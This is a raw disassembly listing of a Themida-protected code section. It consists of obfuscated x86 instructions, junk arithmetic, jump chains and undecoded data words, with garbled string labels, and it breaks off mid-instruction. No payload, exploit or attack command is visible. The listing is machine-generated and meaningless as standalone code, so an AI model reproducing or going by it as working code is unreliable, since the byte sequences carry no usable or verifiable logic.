0FFFF98BAh, 54241C89h, 6AD8685Bh, 14890000h, 78EBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BE9E: ; CODE XREF: Themida_:00563804j not edi xor edi, 26D2216Eh shr edi, 8 and edi, 0CED40F6h xor edi, 0FCF031F4h sub ebx, edi pop edi jmp loc_55F743 ; --------------------------------------------------------------------------- loc_55BEBD: ; CODE XREF: Themida_:0055126Dj pop edi xor edx, 0BE76D7F7h mov eax, edx pop edx add edx, eax pop eax push ebx mov ebx, 4 sub edx, 6B7D0E7Ch jmp loc_559071 ; --------------------------------------------------------------------------- db 1 dd 58042444h, 0BDCDE95Fh, 9BB8FFFFh, 31076379h, 92E4E9C5h dd 90B2FFFFh, 0FE3EB252h, 8EAC0CAh, 0C9C280h, 0D0285AD0h dd 28C9B252h, 8B665AD0h, 0C4812414h, 2, 0B1515266h, 288DB6D4h dd 0F02859CEh, 0E30E9h, 66F03000h, 5724148Bh, 0C781E789h dd 4, 8704EF83h, 0E95C243Ch, 0FFFF9C01h, 0EF81D7F7h, 19FC1CF6h dd 86BCF781h, 0FE297DD8h, 5F2434FFh, 8904C483h, 2434FFF3h dd 4C4835Eh, 684E68h, 24348900h, 21BA5253h, 81040E02h dd 443F59E2h, 0F2E9423Dh db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BF7B: ; CODE XREF: Themida_:00553277j pop esp jmp loc_564C9C ; --------------------------------------------------------------------------- db 5Ah, 83h, 0C4h dd 2EC58004h, 49CFE9h db 0 ; --------------------------------------------------------------------------- loc_55BF8D: ; CODE XREF: Themida_:00559CEFj sub ebp, 76384579h sub ebp, 52B14212h sub ebp, 46EB7AD7h jmp loc_5528A8 ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 0ACE9C300h db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BFB3: ; CODE XREF: Themida_:00559146j add dword ptr [esp], 4 mov esi, [esp] jmp loc_55C7EF ; --------------------------------------------------------------------------- loc_55BFC2: ; CODE XREF: Themida_:0055ED03j mov eax, [esp] add esp, 4 sub ebp, 3C3976E1h jmp loc_55AD82 ; --------------------------------------------------------------------------- dw 13B8h dd 2D0E654Dh, 1FD6044Ah, 0E904E8C1h, 0FFFFE137h, 5C24048Fh dd 0E9241489h, 71A6h ; --------------------------------------------------------------------------- loc_55BFF4: ; CODE XREF: Themida_:00551D41j add eax, 0C1008231h mov ebp, eax jmp loc_561F94 ; --------------------------------------------------------------------------- loc_55C000: ; CODE XREF: Themida_:00558446j mov [esp], edx jmp loc_5513D0 ; --------------------------------------------------------------------------- dd 0F680CEB6h, 5AF00050h, 0FF6223E9h, 24048FFFh, 2024248Bh dd 0E99C2404h, 0FFFF4F3Bh, 57E26852h, 0C15A1B35h, 0E28102EAh dd 625936D7h, 0FF8C64E9h, 98E959FFh db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C03F: ; CODE XREF: Themida_:00565699j shr ecx, 7 push ebx push ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi mov edi, 72FE5A43h push edi pop ebp jmp loc_563017 ; --------------------------------------------------------------------------- dw 95Ch dd 0E99C2404h, 0FFFF4EEFh ; --------------------------------------------------------------------------- loc_55C070: ; CODE XREF: Themida_:0055A1CBj pop esp mov [esp], esp push edi mov edi, 63C25049h and edi, 3FE073D9h sub esp, 4 mov [esp], ebx push eax push edx jmp loc_56371A ; --------------------------------------------------------------------------- db 66h, 21h, 0FAh dd 0FF9280E9h, 243C89FFh, 8B2434FFh, 0C4832414h, 4C48104h dd 8B000000h, 8952243Ch, 4C281E2h, 81000000h, 4C2h, 24148700h dd 31D0315Ch, 0E9D031C2h, 0FFFFC80Bh ; --------------------------------------------------------------------------- loc_55C0C8: ; CODE XREF: Themida_:005651D0j add ebp, edx mov edx, [esp] add esp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5659DB ; --------------------------------------------------------------------------- loc_55C0E1: ; CODE XREF: Themida_:0055D1FBj sub ebp, edx add ebp, 201A1C34h pop edx and eax, ebp pop ebp or eax, eax jz loc_564C7F push 5A97h jmp loc_560E25 ; --------------------------------------------------------------------------- db 89h dd 0BE565EF3h, 403045B6h, 0E95EF309h, 0FFFF95A7h dword_55C110 dd 240C8B66h, 734BE957h, 3487FFFFh, 0C1815C24h, 2, 2474FF51h ; DATA XREF: Themida_:00550EB0o dd 2434FF04h, 4C48359h, 8B24048Fh, 8B662424h, 54522404h dd 7768555Ah, 89000067h, 0E951241Ch, 5A93h ; --------------------------------------------------------------------------- loc_55C14C: ; CODE XREF: Themida_:00559077j not edi sub edi, 6C0E67DEh or edi, 5CB69CCh or edi, 35A75797h xor edi, 48252257h add edx, edi pop edi add edx, ebx sub edx, 75DA5DA8h add edx, 6B7D0E7Ch mov ebx, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_5552DE ; --------------------------------------------------------------------------- byte_55C18B db 31h ; DATA XREF: Themida_:00550D44o dd 0C33240Ch, 240C3124h, 0CB31D931h, 8953D931h, 4C381E3h dd 0E9000000h, 0FFFFCE48h ; --------------------------------------------------------------------------- loc_55C1A8: ; CODE XREF: Themida_:005554EFj add esi, eax sub esi, 2D4F3A2Eh jmp loc_55845F ; --------------------------------------------------------------------------- db 5Ah, 33h, 34h dd 24343124h, 0FF6595E9h, 243489FFh, 2BEh, 5EF50100h, 31242C33h dd 59E9242Ch, 1FFFF8Ch, 7ACBE9E9h, 1C33FFFFh, 0C895C24h dd 6A65E924h, 0E5810000h, 38BD6C9Fh, 0DD87DDF7h, 0DD87D3F7h dd 6808EDC1h, 4C66h, 0FF8E03E9h, 88DC88FFh, 0E95B58E6h dd 0FFFFFD15h ; --------------------------------------------------------------------------- loc_55C210: ; CODE XREF: Themida_:0056503Bj pop ebp add edx, 4 push edx push dword ptr [esp+4] jmp loc_55A66B ; --------------------------------------------------------------------------- aWs_0 db 'WИЁ',27h,0 align 4 dd 0FF240C89h, 0E9042474h, 0FFFF91A0h, 348BF029h, 4C48324h dd 5BB5351h, 572F7F15h, 0FF51D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C245: ; CODE XREF: Themida_:00557AE8j mov edi, [esp] add esp, 4 jmp loc_5598C3 ; --------------------------------------------------------------------------- aHdIfS_r db 'hd{┬F^И_r',0 db 0 ; --------------------------------------------------------------------------- loc_55C25B: ; CODE XREF: Themida_:0055944Cj push esp jmp loc_55E0E9 ; --------------------------------------------------------------------------- loc_55C261: ; CODE XREF: Themida_:005574BEj mov eax, ebx mov ebx, [esp] jmp loc_552845 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 24148700h, 0E9C3285Ch, 0FFFFF9ACh, 8B241487h dd 51662424h, 53662AB1h, 0B2524AB3h, 36CA80CDh, 0EA80D2F6h dd 0E9D028DDh, 0FFFF6A44h, 6DF5E941h, 0B151FFFFh, 59CF2094h dd 8036CF80h, 0C78072F7h, 478F6836h, 4890000h, 4EB65224h dd 0E95AF488h, 0FFFFA601h ; --------------------------------------------------------------------------- loc_55C2C4: ; CODE XREF: Themida_:0055BD1Dj pop edi jmp loc_55830A ; --------------------------------------------------------------------------- dw 8B59h dd 0C481241Ch, 4, 5C243487h, 47B068h, 243C8900h, 633C86BFh dd 246C815Dh, 2A48C104h, 247C2935h, 0C1BB5304h, 1352A48h dd 5B08245Ch, 242C815Fh, 6B9407C7h, 3E240481h, 0E9147D11h dd 0FFFF705Dh, 3428F381h, 0DBF74F85h, 8108EBC1h, 0B15EBEEBh dd 5BD98900h, 4244C01h, 0EC835B59h, 65A3E904h, 0CD810000h dd 67EE655Dh, 1A99F581h, 0CD811A1Ah, 1F5A1596h, 9E2F581h dd 0C5813B1Ch, 1BEEC528h, 60E9EB09h, 59000089h, 6BE6E9h dd 4C4C0500h, 8FE97041h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C367: ; CODE XREF: Themida_:00551735j add esp, 4 add edx, 4 push ebx push 5091h mov [esp], edi mov edi, 24037158h sub edi, 18482F73h push ebp mov ebp, 346F69C7h and edi, ebp jmp loc_5571A0 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0C281E289h, 4, 8704C283h, 8F5C2414h, 0C7E92404h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C3AB: ; CODE XREF: Themida_:00561CADj push esp pop edx add edx, 4 sub edx, 4 jmp loc_55AB9F ; --------------------------------------------------------------------------- loc_55C3BB: ; CODE XREF: Themida_:005585BCj sub ebx, edx push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 jmp loc_560AEF ; --------------------------------------------------------------------------- loc_55C3CE: ; CODE XREF: Themida_:00551D01j add esp, 4 jmp loc_565542 ; --------------------------------------------------------------------------- db 0B4h, 0Ch, 28h dd 241C8BDCh, 8804C483h, 0F78058E7h, 0FFF83046h, 34FF2434h dd 0C4815B24h, 4, 165168h, 7E43E900h, 0AEB60000h, 0E956C680h dd 51FCh, 3304C683h, 34312434h, 24343324h, 2414875Ch, 0FFF529E9h dd 0E9D7F7FFh, 76Ch, 4BD554Bh, 31288E6Eh, 0DF895DEBh, 2444815Bh dd 49617E04h, 5ABE5663h, 29320C2Bh, 0E9082474h, 3B7Fh dd 2B63ED81h, 34FF7EF1h, 0DE2CE924h, 5966FFFFh, 0FE5AF308h dd 80D3F6CBh, 39E938CBh, 83FFFF75h, 48704C0h, 0C4815C24h dd 4, 519D68h, 242C8900h, 0FFA80EE9h, 87DDF7FFh, 2CADE9D5h dd 34BB0000h, 52777575h, 0D089DA89h, 552DE9h, 2434FF00h dd 81242C8Bh, 4C4h, 0AE0AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C4AE: ; CODE XREF: Themida_:00556D5Ej add eax, esi add eax, 6B3A37B5h jmp loc_55915F ; --------------------------------------------------------------------------- dw 0E95Bh dd 2BFDh, 2CBAE681h, 0E9463C5Bh, 0FFFFF473h, 33BF5756h dd 68005F4Ah, 6A8Bh, 53240C89h, 5FC0E9h, 0A7BA5200h, 163F56Ch dd 85E95AD3h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C4EF: ; CODE XREF: Themida_:0055DDFAj pop edx sub edi, 0ED53FFF1h mov ebp, edi mov edi, [esp] add esp, 4 push edx push esi push 35C31F5Bh pop esi jmp loc_5557B3 ; --------------------------------------------------------------------------- byte_55C50B db 66h ; DATA XREF: Themida_:00550D5Co dd 55240C8Bh, 6804EC83h, 0BB9h, 0FFB7A9E9h, 24148BFFh dd 4C481h, 48F0000h, 24248B24h, 9C2404FFh, 0FF4A2AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C535: ; CODE XREF: Themida_:00556B4Fj add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esp push 1031h jmp loc_55D183 ; --------------------------------------------------------------------------- db 89h dd 0E08E9D7h, 81BE0000h, 0E97B461Eh, 3128h, 0E9241C8Bh dd 38B0h, 24048B54h, 4C481h, 4050000h, 0E9000000h, 8676h dd 24148B58h, 0E904C483h, 0FFFF7A2Dh, 2E2868h, 240C8900h dd 5A79F0B9h, 0F7D1F737h, 96E7E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C59E: ; CODE XREF: Themida_:005535BFj xor ebx, edi pop edi dec ebx not ebx jmp loc_556533 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFF7453h, 0C2B7C581h, 0EF29E1E1h, 243C875Dh dd 8924248Bh, 0FAE92404h, 81000084h, 0E1490EEBh, 83E95F19h dd 0BBFFFF8Ch, 7CEE41FDh, 0FF778CE9h, 14F757FFh, 0DFF75F24h dd 6AFBB951h, 0CF29B724h, 5FFB0159h, 0C2E9D301h, 81000027h dd 205071C5h, 5DEA896Bh, 0FFB95AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C609: ; CODE XREF: Themida_:005542BFj add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [eax] jmp loc_55EB04 ; --------------------------------------------------------------------------- loc_55C617: ; CODE XREF: Themida_:00556F27j push 5C84h jmp loc_55541F ; --------------------------------------------------------------------------- aA4sde db '─л4И╓e',0 dd 2C48100h, 66000000h, 0F967C581h, 81665566h, 5C02434h dd 245DE9h, 4CE99300h, 83FFFF81h, 348704C6h, 24248B24h dd 24506866h, 240C8966h, 716468h, 24048900h, 0DBE95152h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C667: ; CODE XREF: Themida_:0055A263j add ebp, 308D5FEEh inc ebp add ebp, 6B462096h xor ebp, 6D9D3291h jmp loc_559333 ; --------------------------------------------------------------------------- db 83h dd 3C8704C7h, 0C6815C24h, 2, 31243433h, 34332434h, 24248B24h dd 0FFE995E9h, 1383B9FFh, 0C131485Fh, 68C10158h, 6E02h dd 0B8240489h, 0 dd 0E8311205h, 53C80148h, 285E4DBBh, 6816h, 2C810000h dd 0C83C2524h, 5DC0E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C6D2: ; CODE XREF: Themida_:005576F8j push eax push ebp mov ebp, 4 jmp loc_56236B ; --------------------------------------------------------------------------- dw 5A66h dd 0D0F6C8FEh, 5454E9h, 0C8295B00h, 54C9E9h, 62C78100h dd 0C15AE80Eh, 0EF8104EFh, 250A38Bh, 5F5FFA29h, 0FFCC35E9h dd 1F280FFh, 148BD700h, 4C48124h, 2C000000h, 4F80045h dd 6CE95B45h, 51000025h, 0C181E189h, 4, 441DE9h, 0FFC18000h dd 0E9D4E980h, 0FFFFE1FBh, 5E5F5657h, 1ECEB850h, 0D8F730E4h dd 0C1065125h, 1B442571h, 680D0741h, 48452360h, 0BC142135h dd 0E9C72976h, 0FFFF8902h ; --------------------------------------------------------------------------- loc_55C764: ; CODE XREF: Themida_:0055731Ej neg ebp jmp loc_55D598 ; --------------------------------------------------------------------------- db 68h dd 3484h, 0B7241C89h, 5EB05032h, 66AE9h, 0C8B6600h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_55CD88 ; --------------------------------------------------------------------------- loc_55C798: ; CODE XREF: Themida_:00551763j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_551840 ; --------------------------------------------------------------------------- dw 79B9h dd 0E92B1468h, 4A4Dh ; --------------------------------------------------------------------------- loc_55C7B0: ; CODE XREF: Themida_:005653C9j pop esp pop eax push eax mov al, 0 jmp loc_551420 ; --------------------------------------------------------------------------- dw 46B9h dd 8115A92Ch, 8F7F61C9h, 3EF1815Bh, 2948E46Dh, 55D59C8h dd 4231A7FCh, 10E9EA81h, 0C2015A62h, 10E9BF57h, 0C2815A62h dd 5088730Eh, 93E9FA01h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C7EF: ; CODE XREF: Themida_:0055BFBDj add esp, 4 add esi, 4 push 131Fh mov [esp], ebp mov ebp, 798B235Ah sub esp, 4 jmp loc_563EAD ; --------------------------------------------------------------------------- dd 0EA815958h, 4, 4EC81h, 14890000h, 872BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C826: ; CODE XREF: Themida_:0055CCACj pop esp add eax, 3A7D6CEAh add eax, edi push ebp mov ebp, 353140F1h jmp loc_5577DD ; --------------------------------------------------------------------------- loc_55C839: ; CODE XREF: Themida_:00563365j add edx, 0D9272D9Ah add ecx, edx pop edx add ecx, 4 xchg ecx, [esp] pop esp push ecx push esp pop ecx add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx mov ebx, 3F0B150Ch shr ebx, 4 xor ebx, 3F0B154h add ebp, ebx jmp loc_55E862 ; --------------------------------------------------------------------------- dd 2434875Bh, 5324248Bh, 1C52BBBBh, 245C0115h, 44815B08h dd 37DB0424h, 0C4E9165Ch db 81h, 2 dup(0FFh) byte_55C8A3 db 66h ; DATA XREF: Themida_:00550D50o dd 0C4E932FFh, 8B000027h, 89532404h, 4BA52E3h, 0E9000000h dd 0FFFF8322h, 60E368h, 242C8900h, 4076E950h, 0C4810000h dd 4, 77D2B951h, 0F18137A7h, 64A9798Fh, 416FE981h, 0C1811D48h dd 354344F2h, 0FF779FE9h, 4EC83FFh, 5B241489h, 0BE9585Ah dd 4FFFFFCEh, 6BEF814Fh, 1110B33h, 243C8BFDh, 4C481h, 0CD290000h dd 1F93ED81h, 0C5814AA1h, 4C050699h, 81240C8Bh, 4C4h, 2972E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C92A: ; CODE XREF: Themida_:00560D64j xor [esp], edi xor edi, [esp] jmp loc_551A11 ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 0F3010000h, 241C875Eh, 6824248Bh, 55A9h, 0FFF874E9h dd 0C1EA81FFh, 16D544Ch, 0C1C281EAh, 5D6D544Ch, 7AD9E9h db 0 ; --------------------------------------------------------------------------- loc_55C961: ; CODE XREF: Themida_:00563CFDj add esp, 4 shr ecx, 7 sub esp, 4 mov [esp], edx push ecx mov ecx, 70AE219Bh mov edx, 70AE2187h xor edx, ecx pop ecx add edx, 18B30AA6h sub edx, 657F196Ch add edx, edi jmp loc_55A728 ; --------------------------------------------------------------------------- loc_55C98E: ; CODE XREF: Themida_:0056351Aj add ecx, 4 xchg ecx, [esp] pop esp shl eax, cl sub esp, 4 mov [esp], ebp mov ebp, 79215327h sub ebp, 4DC97E57h shr ebp, 4 push edx mov edx, 0FFFFFFFFh add ebp, edx jmp loc_561FDC ; --------------------------------------------------------------------------- loc_55C9BE: ; CODE XREF: Themida_:0055CC0Bj add edx, 10B040AEh pop esi push dword ptr [esp] pop ecx add esp, 4 jmp loc_562046 ; --------------------------------------------------------------------------- dd 315FFD89h, 0B9515DE8h, 4B042CF8h, 5008E9C1h, 575A72B8h dd 4D7E94Eh, 0EB290000h, 91E95350h, 81000048h, 4C5h, 4BE5600h dd 0E9000000h, 1AD2h, 530776BFh, 5BDF011Ch, 4247C29h, 0FFB187E9h dd 81CF01FFh, 0F96CE1C7h, 0EEC78143h, 5941AD62h, 0D4BE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CA2E: ; CODE XREF: Themida_:00564D8Ej pop edi or edx, 64F5EBCh not edx push ebp mov ebp, 97AD5874h sub edx, ebp pop ebp or esi, edx jmp loc_55BD06 ; --------------------------------------------------------------------------- db 0B9h dd 75D57F74h, 54FDE941h, 34890000h, 4BE24h, 0C7810000h dd 23F42845h, 0EF81F701h, 23F42845h, 35B5E9h, 0E9DAF700h dd 0FFFF6864h dword_55CA74 dd 8B2434FFh, 0C481240Ch, 4, 56E38953h, 82B7E9h ; DATA XREF: Themida_:00550EF8o db 0 ; --------------------------------------------------------------------------- loc_55CA89: ; CODE XREF: Themida_:0055FDF1j add esi, 6C581D54h add esi, ebx sub esi, 6C581D54h pop ebx add esi, 4 xor esi, [esp] jmp loc_551FDD ; --------------------------------------------------------------------------- dw 1C33h dd 241C3124h, 0FFDFA9E9h, 51C181FFh, 581E0945h, 4BF57h dd 0F9010000h, 240C875Fh, 0AEE9515Ch, 56FFFF80h, 0FFA095E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CAD1: ; CODE XREF: Themida_:0056341Bj sub dword ptr [esp], 33FC167Ah jmp loc_5585F1 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 7Ah db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CAE3: ; CODE XREF: Themida_:00559FBAj pop ecx push eax push edx mov edx, 1B3230B5h push edx jmp loc_556E22 ; --------------------------------------------------------------------------- db 0BEh, 0F5h, 14h dd 0FAE9323Ah, 50FFFF5Ch, 4B4E9h db 0 ; --------------------------------------------------------------------------- loc_55CB01: ; CODE XREF: Themida_:00554341j sub ebp, 0FFFFFFFFh shr ebp, 4 jmp loc_55F009 ; --------------------------------------------------------------------------- loc_55CB0C: ; CODE XREF: Themida_:00553424j push ebp jmp loc_553A83 ; --------------------------------------------------------------------------- loc_55CB12: ; CODE XREF: Themida_:00551BEBj push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_55FA4A ; --------------------------------------------------------------------------- db 5Ah dd 0FFC495E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CB25: ; CODE XREF: Themida_:005536C0j mov [esp], ebx mov ebx, 33124097h jmp loc_55F84B ; --------------------------------------------------------------------------- dw 8B5Bh dd 0C4812404h, 4, 5B66585Bh, 32240C30h, 0C30240Ch, 4411E924h dd 0C380FFFFh, 0E593E96Ch, 0CA09FFFFh, 3BC28159h, 2D840690h dd 220D6E99h, 0B951D001h, 220D6E99h, 8B59C801h, 0C4832414h dd 4EC8104h, 89000000h, 4B9240Ch, 29000000h, 6D99E9C8h dd 0D3660000h, 0E99C242Ch, 0FFFF43CBh, 9F3AE955h, 348BFFFFh dd 4C48124h, 83000000h, 0C3304C1h, 240C3124h, 5C240C33h dd 1C8BDE31h, 949DE924h, 0C280FFFFh, 0D0DAF687h, 0E9E2D0EAh dd 0FFFFCA4Dh, 6D7C89B9h, 0ABBE5602h, 311C0D2Bh, 0D9F75EF1h dd 0C981D1F7h, 7D2331EBh, 0FF7BA2E9h, 240489FFh, 0FF6D2AE9h dd 0D60158FFh, 5224148Bh, 755EE9h, 0BD554900h, 7B9F19DAh dd 0FFA55BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CC05: ; CODE XREF: Themida_:0056247Fj sub [esp+4], ebp pop ebp pop edx jmp loc_55C9BE ; --------------------------------------------------------------------------- dd 6B142CBEh, 0EEC14645h, 19EE8107h, 8168C562h, 0AC3111E6h dd 22E9E919h, 1C870000h, 5F3E924h, 0E9590000h, 0FFFF8835h dd 1B8EE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CC3E: ; CODE XREF: Themida_:00559339j xor esi, ebp pop ebp add eax, 2A5D1918h jmp loc_55CFF0 ; --------------------------------------------------------------------------- db 81h dd 0C00B99C7h, 81EF0153h, 0C00B99EFh, 242C8B53h, 4C481h dd 0BB530000h, 4, 0FF6F40E9h, 0F9F766FFh, 60596866h, 0FF670BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CC79: ; CODE XREF: Themida_:0056371Fj pop edx sub edx, 6BB2BACEh push edx push esi jmp loc_55D839 ; --------------------------------------------------------------------------- a0S db '0яИ :',0 align 2 loc_55CC8E: ; CODE XREF: Themida_:00555D5Dj push 1B86h mov [esp], ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55C826 ; --------------------------------------------------------------------------- loc_55CCB1: ; CODE XREF: Themida_:00559F53j sub eax, ebp sub eax, 5454707Fh jmp loc_562203 ; --------------------------------------------------------------------------- db 0D3h, 2 dup(24h) dd 129CE9h, 7B26800h, 0B6E90000h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CCCF: ; CODE XREF: Themida_:005521C0j shl ecx, 5 sub ecx, 0FFFFFFFFh add ecx, 4B8D31DFh add ecx, 84042C9Bh jmp loc_559FFE ; --------------------------------------------------------------------------- dw 335Eh dd 0C31240Ch, 240C3324h, 3824248Bh, 64E99CC1h, 56FFFF42h dd 0C6815E54h, 4, 689CE9h, 240C8900h, 0BD55E189h, 4, 0FF5BC8E9h dd 242489FFh, 4240481h, 5E000000h, 539E9h, 0B0506600h dd 0E91C244Dh, 0FFFF5DC4h, 0FBE97504h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD3B: ; CODE XREF: Themida_:00563948j mov edx, [esp] add esp, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_552F4F ; --------------------------------------------------------------------------- db 66h, 5Ah, 66h dd 8124148Bh, 2C4h, 81D6800h, 1C890000h, 4EC8124h, 89000000h dd 0B3B22414h, 4EE9D388h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD7B: ; CODE XREF: Themida_:0055A0F3j add edx, 28400A8Fh pop esi push esi jmp loc_561482 ; --------------------------------------------------------------------------- loc_55CD88: ; CODE XREF: Themida_:0055C793j pop esp jmp loc_55F0E4 ; --------------------------------------------------------------------------- loc_55CD8E: ; CODE XREF: Themida_:00558AD5j push 1C2C05FCh pop ebp jmp loc_5530ED ; --------------------------------------------------------------------------- db 31h, 0Ch, 24h dd 0FF41BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CDA1: ; CODE XREF: Themida_:00551ED8j mov [esp], esi not dword ptr [esp] pop esi push 4BC6h mov [esp], eax sub esp, 4 mov [esp], esi mov eax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push eax mov eax, 42F6F38h not eax add eax, 68AC3B77h push edx push edi jmp loc_5548C1 ; --------------------------------------------------------------------------- loc_55CDDB: ; CODE XREF: Themida_:0055266Cj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5640C0 ; --------------------------------------------------------------------------- db 0C0h dd 52E908E0h, 81FFFF62h, 4C4h, 64E95900h, 0F7FFFF41h, 0B44CE9D5h dd 0D501FFFFh, 0E924148Bh, 1A5Fh ; --------------------------------------------------------------------------- loc_55CE0C: ; CODE XREF: Themida_:005549D0j mov ecx, edx jmp loc_5642F4 ; --------------------------------------------------------------------------- db 83h dd 0FBE904ECh, 8100002Bh, 4C4h, 81C33100h, 631288C2h, 0FABB537Dh dd 93471477h, 0AE9D0F7h, 29FFFFF8h, 8B6852C3h, 5A4BA702h dd 5FD1EB81h, 0C38172BDh, 2DE36B46h, 0FFCD39E9h, 9DF580FFh dd 0FF7ED5E9h, 74FF56FFh, 8F5E0424h, 895C2404h, 0E589242Ch dd 4B1668h, 241C8900h, 4BBh, 66F0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CE7A: ; CODE XREF: Themida_:00552BBCj xor [edi+24h], ecx loc_55CE7D: ; CODE XREF: Themida_:loc_552D28j push ebx add dword ptr [esp], 4BC17512h pop eax push edx sub esp, 4 mov [esp], esi mov esi, 51E53605h mov edx, 56674D8Dh xor edx, esi pop esi push 1D33h mov [esp], edi mov edi, 13B241ADh sub edi, 685622Fh shl edi, 6 inc edi and edi, 0E2524C8h sub edi, 0BD8EEDD5h jmp loc_552412 ; --------------------------------------------------------------------------- db 9, 0C1h, 58h dd 4C5DF181h, 0C1416B6Ch, 0C18106E9h, 4BFE576Bh, 2959CF01h dd 0B3EF81C7h, 584C9323h, 0FFDE9FE9h, 4ED81FFh, 87000000h dd 895C242Ch, 3BD242Ch, 1FBFF6Ch, 2434FFEFh, 4EC835Dh dd 588CE9h db 0 ; --------------------------------------------------------------------------- loc_55CF09: ; CODE XREF: Themida_:00554E6Aj pop ebp push 4730h jmp loc_55D540 ; --------------------------------------------------------------------------- loc_55CF14: ; CODE XREF: Themida_:0055B38Aj mov ecx, 3CB8430Dh jmp loc_55F777 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 4C181h, 0EC810000h, 4, 0E9241489h, 0FFFF7543h dd 81CA295Dh, 1B6986EAh, 14335916h, 24143124h, 8B241433h dd 4892424h, 73BB5324h, 817D3674h, 302E84CBh, 8FFEE913h dd 5366FFFFh, 1245486h, 5486D2F6h, 5B660124h, 0C480FC86h dd 58E3284Ah, 62D3E9h, 69EE8100h, 0E972431Bh, 53DDh, 592434FFh dd 0E9E28952h, 0FFFFB19Ch ; --------------------------------------------------------------------------- loc_55CF94: ; CODE XREF: Themida_:005546D5j push eax mov eax, 76C01AB2h mov ebp, 893FE54Fh add ebp, 79B226C4h add ebp, eax sub ebp, 79B226C4h mov eax, [esp] jmp loc_565556 ; --------------------------------------------------------------------------- db 0B8h, 0DFh, 6Ch dd 0F9E96702h, 5E00000Bh, 0AE509ABAh, 5BDA3158h, 7859E281h dd 0C28134AFh, 120B5021h, 219A68h, 243C8900h, 313B69BFh dd 97EF8152h, 0D17F947Fh, 0E9D7F7E7h, 8C54h ; --------------------------------------------------------------------------- loc_55CFF0: ; CODE XREF: Themida_:0055CC46j add eax, esi sub eax, 2A5D1918h pop esi add eax, 4 xchg eax, [esp] pop esp xchg esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push esp jmp loc_55D4E4 ; --------------------------------------------------------------------------- loc_55D014: ; CODE XREF: Themida_:0055A03Cj sub ecx, 18FE78DBh mov ebp, [esp] add esp, 4 jmp loc_5641B6 ; --------------------------------------------------------------------------- loc_55D028: ; CODE XREF: Themida_:00564435j pop eax xchg ebx, [esp] pop esp or eax, eax jz loc_5594E5 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx jmp loc_555A39 ; --------------------------------------------------------------------------- db 88h, 0CAh, 0FEh dd 66D188C2h, 50D9F65Ah, 7DCFE9h, 0B1516600h, 66C80094h dd 58C70059h, 0B450C700h, 58E72874h, 8B2434FFh, 50E92404h dd 8300002Eh, 348704C6h, 0EC815C24h, 4, 5D243C89h, 5F2434FFh dd 0E904C483h, 0FFFFD3ECh ; --------------------------------------------------------------------------- loc_55D08C: ; CODE XREF: Themida_:0055490Cj mov eax, [esp] jmp loc_55A305 ; --------------------------------------------------------------------------- loc_55D094: ; CODE XREF: Themida_:00563EE2j sub ebp, edx jmp loc_5550BF ; --------------------------------------------------------------------------- db 2Dh dd 234642FBh, 0BFB95159h, 2913C23Dh, 0F02959C8h, 0C23DBF05h dd 52F90513h, 0E82D13D1h, 0E91F866Dh, 0FFFFBF21h, 0D8282704h dd 3E29E9h db 0 ; --------------------------------------------------------------------------- loc_55D0C9: ; CODE XREF: Themida_:0055AD83j sub ebp, 440D0B67h sub eax, ebp mov ebp, [esp] add esp, 4 jmp 